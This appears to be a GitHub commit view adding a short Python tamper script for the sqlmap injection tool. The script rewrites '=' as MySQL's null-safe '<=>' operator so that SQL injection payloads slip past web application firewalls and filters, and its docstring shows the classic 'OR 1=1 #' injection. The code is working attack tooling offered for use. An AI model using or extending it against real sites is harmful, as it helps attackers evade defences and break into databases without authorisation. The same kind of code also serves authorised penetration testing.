This commit is contained in:
Anonymous ethc4 2025-07-14 16:03:45 +00:00 committed by GitHub
commit aff39268ac
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,27 @@
#!/usr/bin/env python3
"""
Tamper script to replace '=' with '<=>'
MySQL-only NULL-safe equality operator.
Useful for bypassing filters that block '='.
Author: relunsec
"""
from lib.core.enums import PRIORITY
import re
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
"""
Replaces equal signs (=) with MySQL null-safe equal operator (<=>) Sometime bypass Weak WAF/Filters filter (=) sign
Requirement:
* MySQL
>>> tamper("OR 1=1 #")
'OR 1<=>1 #'
"""
if payload:
# Replace '=' with '<=>'
return re.sub(r'(?<![><!])=(?!=)', '<=>', payload)